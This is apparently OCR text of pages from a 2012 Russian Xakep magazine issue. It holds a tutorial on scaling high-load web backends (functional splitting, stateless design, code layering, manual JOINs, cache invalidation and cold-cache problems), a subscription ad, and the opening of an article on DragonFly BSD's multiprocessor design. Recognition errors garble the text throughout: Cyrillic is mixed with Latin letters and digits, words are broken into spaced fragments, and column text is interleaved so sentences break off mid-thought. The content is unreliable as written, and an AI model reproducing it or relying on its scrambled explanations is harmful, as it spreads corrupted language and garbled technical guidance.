новые горизонты перед раэработчиками игр. В-третьих, это поддержка других фрейr,rворков (таких, как PhysX, Havokl и, будем надеяться, наконец настоящая многозадачность. Из других lаппаратныхl новшеств стоит отметить: увеличенный до 'l280 х 768 экран, поддерх<ку более четырех ядер, поддержку SD карт памяти, наличие связи на близком NFС. расстоянии Выход обеих операционок ожидается в середине осени, вместе с десктопной <Восьмеркой>. Пряttо ко дню рождения Билла 28 октября :l.

-


урOк#

п

ll lll ll lll lll ll l lll lll lll ll lll lll ll lll ll l lll ll lll l llI ll ll l ll lll lll l

Е llllllllllll ll ll lll lll ll lll ll lll ll lll lll lllI ll lll l

Каждый программистхочетстатьлучшим, получать все более интересные и сложные задачи и решать их все более эффективными способами. В мире интернет-разработок ктаким задачам мOжн0 отнестите, с которыми сталкиваются разработчики высOкOнагруженных систем.

учЕБNик пOвьlсOким НАГРУЗКАМ Большая часть информации, опубликованная по теме высоких нагрузок в интернете, представляет собой всего иса н ия техн ич еских ха ра ктеристи к крупных систем, Мы же попробуем изложить принципы, п0 кOтOрыlчl стрOятся архитектуры самых передOвых и самых посещаемых интернет-прOектOв нашег0 времени.

лиш ь 0п

х^кЕр 09/164l2012


Учебник по высоким нагрузкам. Урок

},lАсштАБи р0 вАн

No

ндА

и Е Бэ кЕ

+ Функционмьноеразделение -

Классическоегоризонтальное}lасштабирование

-

+ Концепции5hаrеd Nothin9 и5tаtеlеss + Критикаконцепцийshаrеd NothingиStateless + связностькода иданных Кеширование + проблема инвалидации кеща + проблеi{а старта с непрогреты}l кеше1.1

Фун кционал ьное разделен ие Разные функциональные части работают и хранятся на разных серверах системы.

начнем наш третий урок, посвященный биэнес-логике проекта.

Это самая главная составляющая в обработке любого запроса. ,щля та к их в ы ч и сле н и й требуются бэ ке нды ы е сер вер ы

-тяжел

большими вычислительными мощностями. Если фронтенд не мOжет отдать клиенту что-то самостоятельно (а как мы выяснили в прошлом номере, он без проблем можем сам отдать, к прис

меру, картинкиJ, то он передаетзапрос дальше по цепочке- на бэкенд. На бэкенде отрабатывается бизнес-логика, то есть формируются и обрабатываются данные, при этом данные хранятся в другOм слOе-сетевом хранилище,6азеданных или файловой системе. Хранениеданных- это тема следующего урока, а сегодня мы сосредOточимся на масштабировании бэкенда. Сразу предупредим: масщтабирование вычисляющих бэкениз самых сложных тем, в которой существует множедов -одна ство

м

ифо в, 0бла

ч н ы

е

вы ч и

сл ен ия ре ша ют

п

ро бл

е

му

п

ро

и з

Сделаем выводы: функциональное раэбиение бэкенда целесообразно использовать в качестве простейшего метода масштабирования. Группируйте сходные функции и запускайте их обработчики на разных физических серверах. Oбратимся к сле-

во -

многие. Oднако это верно не до конца: дительнOсти -уверены для того чтобы вам действительно могли помочь облачные сервисы, вы дOлжны правильно пOдгOтовить ваш программный код. Вы можете поднять сколько угодно серверов, скажем, в Аmаzоп ЕС2, но какой с них толк, если код не умеет использовать мощности каждого из них. Итак, как масштабироватьбэкенд?

дующему пOдходу.

е

э

кзе

м

пл

яр

ы баз да

н н ы

х ил и да же физ

и ч

еск ие се

р

0 том, что такое горизонтальное масштабированиеl

мы

нескOльк0

-

по рOсту на

грузки,

1,1асlлтабирование

настройками,

m]2

единой точ ки отказа, Это, конеч но, всегда возможно, но в любом случае кOличествотакихточек нахOдится пOджестким контролем архитектора. Подточкой отказа мы понимаем некиеданные или вычисления. которые являются общими для всех бэкендов. Например, какойнибудьдиспетчер состояний или идентификаторов. fl ругой примериспользование сетевых файловых систем. Это прямой путь получить на 0пределеннOм этапе роста прOекта узкOе место в а рхитектуре. Если каждый узел является независимым, то м ы легко можем доба вить еще е

КлассичеGкое горизонтальное

ние-сразу осознать, чт0 эти данные никак не связаны между собой и поэтомудолжны жить в самом простом варианте в двух разных запущенных MySQL. Это относится и к вычисляющим бэкендам они тоже могут быть разными. С совершенно разными

09 /164l

принципе.

классических парадигм, которые необходимо рассмотреть на раннем этапе проектирования, чтобы программный код можно было масштабировать при росте нагрузки.

Посмотрим на это сдругой стороны. Если у вас есть в одном проекте и встрOенная интегрированная баннерокрутилка, и сервис, который показь,вает посты пользователей, то разумное реше-

хАкЕр

в

уже знаем, Если вашей системе не хватает мOщности, вы прOсто до ба вл я ете е ще десять с е р ве ро в. и 0ни продолжаютработать. Но не каждый проект позволит прове р н уть та кое. Есть нескол ько

вер ы.

с разными используемыми технологиями и написанные на разных языках программирования. Возвращаясь к примеру: для показа постов вы можете использовать в качестве бэкенда самый обычный Рнр, а для баннерной системы вы мOжете запустить модуль к пgiпх'у. Соответственно, для постов вы мOжете выделить сервер с большим количеством памяти (ну, рнр все-таки), при этом для баннерной системы память может быть нетак важна, как процессорная емкость.

-

Рассмотрим две концепции Shагеd Nothing и Stateless, которые могутобеспечить возможность горизOнтального масштабирования. ПодходShагеd Nothing означае1 что каждый узел является независимым, самодOстаточным и неткакойн

гOризOнтАльнOЕ иАсlлт^БирOвАниЕ

работает на другом, несмотря на его простоту, о подобном подхOде многие забывают. Налример, мы очень часто встречаем веб-проекты, где и сп ол ьзуетс я тол ько одна база MySQ L п од сове ш ен но р различные типы данных. В одной базе лежат и статьи, и баннеи стати сти ка, -хо хотя п 0 ш е му это ы б ыть ры. ро должн ра з н ы е экземпляры MySOL. Если у вас есть функционально не связанные данные |как В этом примере), то их целесообразно разносить н ы

и sTATELESS

то

КЛАССИЧЕСКOЕ

ФУНКЦИOНАЛЬНOЕ РАЗДЕЛЕНИЕ самый первый и простой способ. с которым сталкиваются все. -это функциональное разбиение, при котором разные части системы, каждая из котOрых решаетстрого свою эадачу, разнOсятся на отдельные физические серверы, Например, посещаемый форум выносится на один сервер, а все остальное

в раз

кOнцЕпции sHARED ilOTHll{G

Shагеd Nothing [каждый узел является независимым и самOдOстатOчным, не существует единой точки отказа);

I

stateless [процесс не хранит состояние)

З


АКАДЕ]t{ИЯ 0братная ситуация сложилась

^ВТOРOВ 0сновнымнаправлениемдеятельностинащейко1.1панииявляется речrениепроблем,связанныхсвысокойнагрузкой,консультирование,

укомпанииVugа,котораязанимаетсяиграмидляFасеЬооk,Правда. когдаонистолкнулисьспохожей проблемой, у них были другие масштабы:несколькомиллиардов

проектированиемасtлтабируемыхархитектур,проведениенаrрузочных тестирований

и

оптиttиэация сайтов.

В

число наших клиентов

входят

инвесторыизРоссииисовсеrомира,атакх(епроекты(ВКонтактеrr,

<<Эльдорадо>r,<<Иriхонет>),Рhоtоýight.rчидругие.Вовремяконсультаций

SЕLЕСТ'овизРоstgгеSQLвдень

llычастосталкиваеt!сястем,что].{ногиенезнаютса1,1ыхоснов-чтота-

наоднойсистеме.Oниперешли

кое масчrтабирование

и

каки},l оно бывает, какие инструменты и для

чеrо

пол

используются.Этапубликацияпродолжаетсериюстатей<<Учебникпо высоки1.1нагрузка},lr).вэтихстатьях1.{ыпостараеt4сяпоследовательно

рассказатьобовсехинструментах,которыеиспользуютсяприпострое-

нииархитектурывысоконагруженныхсистем. lllllllllllllllllllllllllllllllllllllllllllllIllllllllllllllllllllllllllllllllllllllllllllllllllllll

ностью

н

а

п

одход

М

чуть-чуть.поближе>,

данныеначалихранитьсяиобслуживатьсяпрямовоперативвой памяти.Итог:ребятапрактически отказалисьотбазыданных,апара сотен серверOв 0казалисьлишними.Ихпростовыключили:онистали

сервиса не пришлось платить слишком много за железо. !ля этого ва жно

з нать, ка кая тех н 0л 0ги я наиболее соответствуетданнOму профилю нагрузки с минимальным и затрата м и жел еза. П р и этом оче н ь часто, когда начинают размышлять о масштаби-

ро ва н и и,

и

б

ы ва ют

п

ро

ф и на н

-

совый аспекттого же горизонтального масштабирования. Некоторые 4уvают, чт0 горизOнтальнOе масштабирование это реально панацея, Разнеслиданные, все разброи все с ал и на отдел ьн ые сер вер ы стало нормально. 0днако эти люди з а бы ва ют о н а кладн ы х расхода х

-

мусо ра. и

то за

-

0писанный подход являе]ся классическим; он простой надежный, как скала. Oднако в последнее время нам все чаще чаще прихOдится отказываться от него,

lo ве

критикА концЕпциЙ sHARED

1{oTHlNG и STATELES5 Сегодня перед вебом возникают новые задачи, которые ставят новые проблемы. Когда мы говорим про Stateless. это означает, чт0 каждые данные каждому пользователю мы эанOво тащим из хранилища, а это подчас бывает оченьдорого. Возникает резOннOе желание положить какие-т0 данные в память, сделать не совсем StateleS5. Это связано с тем, что сегодня веб становится все более и более интерактивным. Если вчера человек заходил что б ы п ро вер ить в веб - по Цту и на жи м ал на кно п ку < Re load ", новые сообщения, то сегодня этим уже занимается сервер. Oн ему говорит: "0, чувак, пока ты сидел на этой страничке, тебе пришли новые сообцения", Возникают новые задачи, которые приводят к тому, что подход с Shагеd Nothing и отсутствием состояния в памяти иногда

рхеда х]

уп ка

-се ка к

ф и на н

со

вы

х {по -

рверо Bl. та к и э кс плуатационных. Когда мы разносим к

FасеЬооk

слOистOсть кOдА

еmоrу State:

нужны. В принципе, любое масштабиро в а н ие lB то м ч и сле гор изо нтал ьное]достижимо на очень многих технологиях. Сейчас очень часто реч ь идет о том, чтоб ы п р и созда н и и

тить пользователя на нужный сервак. На вер ное. это одна из серьез н ых п р ич и н, поч ему веб та к б ыстро разв и вается. В н ем гораздо п ро ще делать п р ил ожен и я, чем писать классические офлайновые программы. Концепция (ответ-запрос> итотфакт, что ваша программа живет 200 миллисекунд или максимум однусекунду lпосле чего она полностью уничтожается). привели ктому, что втаких распространенных языках программирования. как РНР, до сих пор нетсборщика

но у

уже такой возможности нет.

не

Концепция StateleSS означает, что процесс программы не хранит свое состояние. Пользователь пришел и попал на этот конкретный сервер, и нет никакой разницы, попал пользователь на этотсервер или на другой, После того как запрос будет обработан, этотсервер полностью забудет информацию об этом пользователе. Пользователь вовсе не обязан все свои следуюцие запросы отправлять на этот же сервер, не должен второй раз приходить на него же, Таким образом, мы можем динамически менять количество серверов и не заботиться о том, чтобы роу-

подобную картину: хочется уже посмотреть и бежатьдальше пить кофе, а оно все грузится, грузится и грузится. Надо бы хранитьданные

н 0 вы х

все на компоненты, возникают накладные расхOды на кOммуникацию программных компонентOв междусобой. Грубо говоря, хопов становится больше. Вспомним уже знакомый тебе пример. Когда мы заходим на страничку FасеЬооk, мощный JavaScript идет на сервер, который долго-дOлг0 думает и только через некоторое время начинаетOтдавать вам ваши данные. Все наблюдали

Еще пара советов для упрощения

горизонтального масштабирова-

ния. Первая рекомендация: программируйтетак, чтобы ваш код состоял как бы из слоев и каждый слой отвечал за какой-то определенный процесс в цепочке обработки данных. Скажем, если у вас идет работа с базой данных, то она должна 0существляться в одном месте. а не быть разбросанной по всем скриптам. К примеру, мы с гр0 и м стра н и цу п 0л ьз ов ате л я, Все начинается с того, что ядро запускает модуль бизнес-логики для

построения страницы пользовате-

ля, Этот модуль запрашиваету нижел ежа щег0 слOя х ра не н ия да н н ы х информацию об этом конкретном

пользователе, Слою бизнес-логики н ич е го не и з вестно 0 тO м, где л ежат данные: закешированы ли 0ни, зашардированы ли [шардинг-это ра

з н

есе

н

ие да

н н ы

х на ра

з н ы

е

серверы хранения данных,0 чем мы будем говорить в будущих уроках), или с ними сделали еще

что-нибудь нехорошее. Модуль п р

осто за

п р аш и

вает

и н

фо

р ма

ци ю,

вызывая соответствующую функцию. Функция чтения информации пOльзOвателе расположена слое хранения данных. В свою очередь, слой хранения данных по типузапроса определяет. в какOм именно хранилище хранится пOльзо вател ь. В кеш е? В ба зе да н н ы х? 0 в

В файловой системе? И далее вызываетсоответствующую функцию нижележащего слоя. Что даеттакая слоистая схема?

ет воз мож н ость п ере п и с ы вать, выкидывать или добавлять целые слои, Например, решили в ы доба в ить ке ш и ро ва н ие для 0 на да

1,4ы уже сталкивались неоднократно ситуациями наших клиентов, которым мы говорим: "0т этого

не является обязательным. с

откажитесь, положите данные в памятьD и наоборот"Направляйте людей на один и тотже сервер", Например, когда возникает открытая чат-комната, людей имеет смысл роутить на один и тот же се р ве р, чтоб ы это все раб отал о б ы стрее, Расскажем про еще один случай, с которым сталкивались. 0дин на ш зна ком ы й раэрабаты вал на Ru Ьу оп Rails и грушку на подобие

и боиl. Вскоре после запуска он столкнулся "Арены" {онлайн драки с классической проблемой: если несколько человек находятся в ра м и

ках одного боя, кажды й пол ьзовател ь постоя

з Б,Щ да

н н

ые, которые

во_

время это го боя возн

и

н

но выта ски

кл и, В ито ге вся

вае] эта

конструкция смогладожитьтолькодоЗOтысяч зарегистрированн ы х юзеров, а дал ьше она просто перестала работать.

,06

КлассичеGкое горизонraпrr* 1.{асщтабирование a о

Слоистость кода; Минимизация использования сложных запросов сразу к нескольким таблицам; Низкая степень связности кода

хАкЕр

09/164120]2


Учебник по высоким нагрузкам. Урок

пользователей, Сделать это в слоистой схеме очень просто: надо слOй хранения данных, Или вы допилить только одно место до ба вл я ете ш а рди р о sа н и е, и теп е р ь п ол ьзо в ател и м о гут л ежать в разнь х базаr данных. В обычной схеме вац придется перелопатить весь сайт и везде вставить сOOтветствующие проверки. В сл о и сто й схе м е нужно л и ш ь и с п ра в ить ло ги ку одн о го сл оя, однOг0 кон кре,тног0 мOдуля.

связнOсть кOдА и дАнных

Следующая важная задача, которую необходимо решить, чтобы избежать проблем при горизонтальном масштабировании, минимизировать связность как кода, так и данных. Например, если у вас в SQL-запросах используются JOlN'ы, у вас уже есть потенциальная проблема, Сделать JOlN в рамках одной базы данных можно, А в рамках двух баз данных, разнесенных по разным серверам, уже невозможно, 0бщая рекомендация: старайтесь общаться с хранилищем минимально простыми запросами, итерациями, шагами.

-

Чтоделать, если без JOlN'a не обойтись?Сделайте его сами: в РНР-в этом нетничего страшного. !ля примера рассмотрим классическую задачу построения френдленты, Вам нужьо поднять всех друзей пользователя, для них запросить все пOследние записи, для всехзаписей сOбрать кOл ичество ком м ента риев вот где соблаз н сдел ать это одн и м запросом [с некоторым количеством вложенных JOlN'oB] особенно велик. Всего один запрос-и вы получаете всю нужную вам информа ци ю, Н о .то вы будете делать, когда пол ьзо вател ей и за п исей станет много и базаданных перестанетсправляться? По-хорошему надо бь расuардить пользовагелей [оазнести равномерчо на разн ые серверы баз да н н ых], П он ятно, что в это м случае вы полн ить операцию JOlN уже не получится: данные-то разделены по разным база м, Та к что придется делать все в ручную, Вы вод оч е в иден: делайте это вручную с самого начала. Сначала запросите из базы данных всехдрузей пользователя lпервый запрос), Затем заберите последние записи этих пользователей lвторой запрос или группа за п pocoBl. Затем в па мяти п роиз ведите со рти ров ку и в ы берите то, что ва м нужно. Фа кти ч ески вы в ы пол няете оп е ра ци ю J 0lN вруч ную. ,Ща, возможно вь выполните ее нетак эффективно, как это сделала

сделалидва запроса, перемножили

No З

Кечlирование Единый кеш для всех бэкендов; П

робл

е

ма

инвалидации кеша; Проблема старта с непрOгретым кешем

бы база да

кЕlлирOвАниЕ

не

Следующий важный инструмент,

н н ы х. Н о зато в ы н и ка к ограничены объемом этой базы данных в хранении информации. Вы можете разделять и разнOсить ваши данные на разнь]е серверы или даже в разные СУБД| Все это совсем не так страшн0, как мOжет показаться, В правильно построенной слоистой систе м е бол ьшая ча сть этих запросов будетзакеширована. 0ни простые и легко кешируются-в 0т-

л ич

ие от резул ьтато в Bbi пол нен ия .J 0lN. Е ще оди н м и нус

оп ера ци и

варианта с JOlN: при добавлении пользователем новой записи вам нужно сбросить кеши выборок всех е го доу зей, А r р и та (ом расh ладе н еизвестно, что на са мом деле будет работать бьi стрее.

с котOрым мы сегодня познако-

мимся, Чтотакое -кеширование. кеш? Кеш это такое место, куда можно пOд каким-то ключOм полOжить данные, котOрые долго вь числяют. Запомните один из важнейших моментов; кеш должен вам по этOму ключу отдатьданные быстрее, чем вычислить их заново. Мы неоднократно сталкивались с ситуацией, когда это было не та к и л юди б есс м ы сл е н н о те ря л и

-

время. Ино-да

ба за

данных рабо-

таетдостато"чо быстро

и

проце

сходить напрямую к ней. Я думаю, не стоит говорить, что кеш должен быть единым для

нlGнLOАD_инструктOры 0леr Бунин известный специалист по Highload-

константин 0сипов

прOектам, Его компания

"лаборатория 0лега Бунина" специализиру ется на консалтинге, разработке и тестировании высоконагруженных веб-проектов, Сейчас является организатором конфе-

l.tаксиtq Лапщин

Специалист по базам данных, который долгое время работал в MySOL, где 0твечал как раз за высOкOнагруженный сектор.

Быстрота MySQL- в большой степени заслуга именно Кости 0сипова. В свое время он занимался масштабируемостью MySQL

рен ции Н i g h Load++ (лчцл^l, h i g ll лзiL tц]. Это конференция, посвящен-

5.5,

ная высоким нагрузкам. котOрая ежегодно собйраетлучших в мире

Тагапtооl. которая обслуживает

специалистов по разработке

крупных прOек-ов. Благодаря этой конференции знаком со всеми вед)|щими специалистами миРа вы с0

ко

хАкЕр

н а

груже

н н ы х с и

09 /164l.2012

сте м.

С

ей час отв

е ча

ет в М а il. Ru за

кластерную NoSOL базуданных 500-600тысяч запросов

секунду. u rсе проект можетлюбой желающий, И с п

ол ьзо

вать этот

0

в

pen So

Константин l.{ащуков Бизнес-аналитик компании 0лега Бунина, Констан-

Решения для орган иза ци и в идеOтра нсля ци и, кOторые существу-

в

тин пришел из мира сулеркOмпьютеров, где долгое время (пи-

ют в мире на

данный момен1 можно пересч итать п0

пальцам. Макс разработал одно из них-Егlучidео {-"г vlidco,oщ]. Это серверное приложение. которOе занимается пOтOковым видео. При создании подобных инструментов вOзникаетцелая куча сложнейших проблем соскоростью, У Максима также есть некоторый опы1 связанный с масштабированием средн их са йтов (не та

к

их круп

н

ых,

подразумеваем такие сайты, количество обращений к которым достигает около 60 миллионов в сутки. как

М а il,

Ru).

П

од средн им и мы

лил, различные

научные прилOжения, связанные

числодробилками. В качестве бизнес-аналитика участвует во с

всех консалтингOвых проектах компании, будьто социальные сети, крупные интернет-магазины или систем ы э л е ктрон ч ы х пл а rежей,


АКАДЕ1,1ИЯ

всех бэкендов. Хранение кешированных данных раздельно для каждого из бэкендов мOжетдать некоторое преимущество в скOрOсти извлечения данных, но значительн0 услOжнитлогикуобслуживания кеша. Представьте, что вам нужно сбросить какой-то закешированный элемент: в этом случае вы должны пройти по всем бэкендам и сбросить этот элемент в локальном кеше. В процессе использования подобного обхода у вас возникает первая проблема-неконсистентность кеша, Проще говоря, где-то данные в кеше будутуже сброшены. а где-то еще нет, В результате часть пользователей видят еще старые данные, а кто-то-уже новые, Вторая потенциальная проблема также связана с целостностью данных.,Д,опустим, в одном из кешей сбросить элемент не удалось. Что теперьделать? Попробуйте найти красивое и элегантное решение этого вопроса, Прийти туда еще раз через минуту? А кому прийти? Еще одна надстройка надсистемой кеширования? Ну и, наконец, главная проблема в случае локальных кешей данных одни и те же данные будут вычисляться многократно lпо числу кешей). Фактически мы перекладываем нагрузку на базу данных, что не всегда хорошо. замазать Второй важный момент, Кеш -это скорее способ проблему производительности. а не решить ее. Но,6езусловно,

*т: t', llr-# rb,* '1ll LJIжа L--щ-f

l l

Проблема инвалидации кеща 06новление п0 запросу [проблема гасе ndition для нагруженных со

стра

-

6

ы ва ют с

итуа ци и, когда ре ш ить

п

ро бл ем у

оче

н ь

до

р о

го.

П

кой, и более того, это работаеточеньдаже часто. Oсобенно когда вы попадаете в кеш и там уже лежатданные, кOторые вы хOтели

показать, Классический пример-счетчик количества друзей. Это счетчик в базеданных, и вместо того, чтобы перебирать всю базуданных в поисках ваших друзей, гораздо проще эти данные закешировать {и не пересчитывать каждый разl.

кеша есть критери й эффекти в н ости ис п ол ьзова н и я, то оказател ь того, что он ра ботает, - он наз ы вается Н it Ratio. Это отнош ен ие кол ич ества за просо в, для кото р ых 0твет на шел ся в кеше, к общему числузапросов. Если он низкий (50-60%], значит, у вас естьлишние накладные расхOды на поход к кешу. Это означает, что практически на каждой второй странице пользователь, вместотого чтобы получитьданные из базы, еще и ходитк кешу: в ыясн яет, что да н н ых для него та м н ет, посл е че г0 идет на п ря мую к базе. Аэтолишниедве, пять, десять, сорок миллисекунд. Как обеспечивать хOроший Hit Ratio? Втех местах, гдеу вас база данныхтормозит, и втех местах, гдеданные мOжн0 перевычислять достаточ но дол го, та м в ы вты каете М еmсасhе. Redis ил и а налогичный инструмент. который будет выполнятьфункцию быстрого кеша, и это начинает вас спасать. По крайней мере, временно. ,Щля п

-

в системе. Когда L]укербергпубликуетпостдля своих 0диннадцати с п0ловиной миллионов подписчиков,

сбросить оди н над-должн цать с половиной миллионов кешей френдленту всех этихsuЬsсгiЬеr'ов? Как быть с та кой с итуа ци е й? Н ет, м ы пойдем другим путем и будем обновл ять кеш п р и за п росе на фр ендле нту, где есть этот новый пост. Система обнаруживает. что кеша нет, идет и вычисляет заново, Подход простой м

ы что

ы

надежный, какскала. 0днако есть и минусы: если сбросился кеш у п о пуля р ной стра н и цы, вы и

рискуете получитьтак называемые гасе condition lсостояние гонок]. то естьситуацию, когда этотсамый кеш будет одновременно вычисляться

несколькими процессами lнесколько пользователей решили обратить-

Но с использованием кеша вы бонусом получаете проблему ин-

итоге ва ша с ис тема за н и м а ется до вол ьн о пустой 0днOвременным деятельнOстью вычислением п-г0 кOличества одина-

валидации кеша.

ковьiхданных.

ПРOБЛЕНА ИНВАЛИДАЦИИ КЕlЛА В

чем суть? Вы положили данные в кеш

и

берете

их из кеша, 0днак0 к этому мOментуOригинальныеданныеуже

поменялись, Например, Машенька поменяла подпись подсвоей картинкой, а вы зачем-то положили одну строчку в кеш вместо того. чтобы тянуть каждый раз из базы данных. В результате вы показываете старые данные-это и есть проблема инвалидаци и кеша. В общем случа е она не и меет решен ия. п отому что эта проблема связана с использованием данных вашего бизнесприложения. 0сновной вопрос: когда обновлять кеш? 0тветить на нег0 пOдчас непрOсто. Например, пользователь публикует в социальной сети новый п ост- до пусти м, в этот мо мент м ы п ытае м ся изба виться от.всех инвалидiыхданных. Получается, нужно сбросить и обновить все кеши, которые имеют отношение к этому посту. В худшем случае, есл и ч ело век делает пост, в ы сб расы ва ете кеш с е го ле нты постов. с б расы ваете все кеш и с ле нты посто в его друзей. сбра сы ваете ,все кеши с ленты людей, у которых в друзьях естьте, кто в этом сообществе, и та к дал ее, В ито ге вы сб расы ваете полови ну кеш ей

108

ц];

оэто му

в я замажу штукатур"Хорошо, этутрещину стене будем думать, что ее здесь нет". Иногда это работает-

вы говорите:

есть

ни

Фоновое обновление

ся к

н

ов ы м да

н н ы

Ml. В

0дин из выходов-одновременнOе использование нескOльких подходов, Вы не просто стираете устаревшее значение из кеша, а тOл ьк0 п 0м ечаете е г0 как уста ревшее и 0днOвременн0 ставите задачу в очередь на пересчет новOг0 значения. Пока задание в очереди обрабатывается, пользователю отдается устаревшее значение, Это называется деградация функциональнOсти: вы сознательно идете на то, чIо некоторые из пользователей пOлучат н е са м ы е с вежие да н н ые. Большинство сисl ем с продуманной бизнес-логикой имеют в арсенале подобный подход.

прOБлЕ1,1А стАрт^

с нЕпРOгРЕтыlt{ кЕlлЕ}t

-

ста рт с неще одна п ро бл ема прогретым {то есть незаполненным) кешем,Такая ситуация наглядно иллюстрируетутверждение отом, что кеш не может решить проблему медленной базы данных, Предположим, что вам нужно показать пользователям 20 самых хоро ш их п остов за ка ко й-л и бо период, Эта информация была у вас в ке ше. н о к м ом енту за пуска системы кеш был очищен, соответственно. все пользователи обращаются к базеданных, которой для пOстроения индекса нужн0, скажем.500 миллисекунд. В итоге все нач и нает м едле н но ра ботать, и вы сами себе сделали DoS (DепiаlЕ

of-serv

се}. Сайт не работает. 0тсюда вывод: не занимайтесь кеширOванием, пOка у вас не реш ен ы другие п робл ем ы. Сделайте. чтобы база быстро работала, и вам не нужно будет вообще возиться с кешированием. Тем не менеедаже у проблемы старта с незаполненным кешем есть решения:

1.

Использовать кеш-хранилище записью на диск lтеряем в ско-

с

2. 3.

рости];

Вручнуюзаполнятькешперед стартом lпользователи ждут и негодуютl; Пускать пользователей на сайт партиями (пользователи всетак же ждут и негодуютl.

Как видите, любой способ плох.

поэтомулишь повторимся: старайтесь сдел ать та к, что б ы ва ша с истема работала и без кеширования. :E

хАкЕр 09/,l64120]2


766рублей зе номер! Насчасто спраlливают:

<<В

подпискА

чем преи]чlущество подписки?>>

Во-первых, это выгодно. Потерявшие совесть распространители не стесняются продавать журнал за З00 рублей и выше, Во-вторых, этоудобно. Не надо искатьжурнал

в

6 ].iесяцев 1110р. 12 месяцев 1999р.

продаже

бояться проморгать момент, когда весьтиражуже разберут. [п равда, это пра вило действует не для всех): подписчикам свежий выпуск отправляется раньше, чем он появляется на прилавках магазинов. и

В-третьих, это быстро

J sO[иньЕrцl|И

чtрЕjDls

w

гuАgд

бгrАвныIкн/lг 0колингf

Магазин подписки

http:/ hор.glс.гu

yrsA

инrfрвью PlfP)60 пJf

plRAllfls

G tэ

€]

А

/

l

flднвт.


UNlxolD

Евгений зобнин lerecb t

r!

днатомия

оБзор

ключЕвьlх

ОСОБЕННOСТЕЙ ОПЕРАЦИОННОЙ

систЕ},lьl

DRAGONFLY BSD

#,

Когда в 200З году Мэтью .Д,иллон объявил о начале работы над собственным форком FгееВSD 4 с акцентом на простоту дизайна и многопроцессорные системы, никто его затею всерьез не воспринял и мнOгие <спецы> предрекали, чт0 скоро энтузиазм закончится и проект закроют. Тем не менее DгаgопFlу BSD 0ставалась на плаву мнOгие гOды и за восемь лет превратилась в одну из самых интересных UNlХ-подобных систем современности.


Анатомия стрекозы

Стрекоза

-

официальный талисман DгаgопFlуВSD

liгiгriгilIr

История D.аgопFlу BSD началась с разно-ласий, и все последующее развитие операционной системы подвергалось критике и необоснованным нападкам.,Щолгое время Щиллона обвиняли в том, что он слишком амбициозен, ломаеттрадиции и вообще изобретает велосипед. Неоднократно ему приходилось объяснять 0чередным консерваторам, почему BSD должна отойти от прежних стереотипов развития и пойти по пути инноваций. Были написаны килOметры писем, интервью, статей, сотни тысяч строк кода, но DгаgопFlу BSD так и оставалась противоречивым проекIом, от котOрOг0 у мOлOдежи загOрались глаза, а ветераны скрипели зубами. Именно стремление сломать стереотипы и коренным образом изменить все, начиная от подхода к разработке и заканчивая принципами работы 0С, сделали DгаgопFlу BSD столь интересной операционноЙ системоЙ, DгаgопFlу внесла в сообщество BSD то, чег0 eN4y так давн0 не хватал0, влила свежую кровь и наметила путь к инновациям. Внутри этой системы кроется столько интересных и нестандартных идей, что даже Linux, с его манией аккумулировать внутри себя самые противоречивые разработки, кажется на ее фоне скучным и обыденным. Складывается впечатление, что Мэтью !иллон вообще не знает слова <консерватизм>. 0н спокойно избавляется от вещей. кOтOрые, на его взгляд, не нужны, и добавляет в систему функциOнальнOсть, вызывающую множество споров. 0н без зазрения сOвести выкидывает из ядра целые подсистемы и заменяет их аналогами. Кажется, что он просто выплескиваеI идеи в код, н0 у нег0 всегда есть план развития на многие годы вперед. Его безграничный энтузиазм и креативность зажигают умы сотен других разработчиков, которые предлагают и реализуют собственные идеи, в0 мнOгOм прOтиворечивые и спорные, но эффективные и интересные. DгаgопFlу это обратная сторона BSD, лишенная непроходимOг0 кOнсерватизма и напOлненная духом академической системы, в кOторой полно новьlх идей и разработок, созданных без оглядки на прOверенные временем, но во многом неэффективные решения. и пусть пока DгаgопЕlу не показывает впечатляюцих результатов в тестах прOизвOдительнOсти и не может предложить законченное решение для внедрения в продакшн, все предпосылки для этого у системы есть, а !,иллон даже не собирается останавливаться на

-

дOсти гнут0 м.

Предпосылкой к рождению DгаgопFlу стали разногласия Мэтью

,Щиллона с командой разработчиков FrееВSD по поводу механизмов

работы системы на многоядерных/многопроцессорных системах. Участники FrееВSD Соге TeaiT придерживались традиционного подхода к обеспечению эффективноЙ работы операционноЙ хдкЕр

09 /I647 20l2

Конфиrуратор

инсталлятора DrаgопFlуВ5D

системы с многими ядрами. Главная идея этого подхода состоит в использовании блокировок везде, где только может возникнуть проблема одновременного доступа к ресурсам. Это позволяет плавн0 перенести систему на нOвые прOцессоры, не нарушив работу ключевых компонентов ядра,,Д,иллон же, напротив, был убежден, что многоядерные системы требуют коренных изменений в ядре для того, чтобы 0С могла эффективно использовать все ресурсы системы и при этом не разрослась в большой кусок кода, наполненный взаимозависимь ми блокировками и требующий серьезньiх

затрат на сопровождение

и развитие. Консерватизм

победил, и Щиллон создал собственный форк FгееВSD, главной особенностью которого и стал совершенно новыЙ подход к работе системы с мнOгими прOцессOрными ядрами. Чтобь понять, что предложил !иллон, необходим небольшой экскурс в теорию. Slt4Р-системы отличаются тем, что имеют единOе адреснOе прOстранств0 для всех процессорных ядер. flругими слOвами. все ядра испOльзуют 0дну память, которая никак между ними не делится, всем доступно все. 0тсюда возникает очевидная проблема: что будет, если два потока исполнения ядра попытаются пOлучить дOступ или изменить 0дну и ту же структуру данных lзначение переменной sysctl, например) одновременно? Ответ: возникнет коллизия (поток, который должен был сделать это вторым, может сделать это первыN4 или наоборот, со всеми вытекающими отсюда последствиями}. Самое простое решение этой проблемы запретить испOлнение всег0 кOда ядра 0дновременно несколькими процессорами с помощью глобальной блокировки [Big Giant Lockl. как и было сделано в FгееВSD 4. Пока один процессор исполняет код ядра, второй ждет. Само собой, подход этот неэффективен, и в FгееВSD 5 было запланировано начать постепенное избавление ядра от глобальной блокировки с помощью болееузкоспециализированных блокировок, которые будут установлены на все сколько-нибудь значимые структуры данных. Так код ядра мог исполняться несколькими процессOрами, а ждать прихOдилOсь тOлько в случае 0дновременного дOступа к 0дним и тем же структурам данных. Проблема такого подхода состояла в том, что из-за блокировок, во-первых, код ядра

-

эт0 сторOнА

DRAG0NFLY

0БрАтнАя BSD, л иш Ен нАя н Еп рOхOди},l0го кOнсЕрвАти3}f А


UN!хO!D

В РЕЗУЛ ЬТАТЕ РАЗДЕЛЕНИЯ

ядрА нА 0тдЕльныЕ пOтOки

DRAGOШFLY ПРИОБРЕЛА ЧЕРТЬ!

},lикрOядЕрных 0с

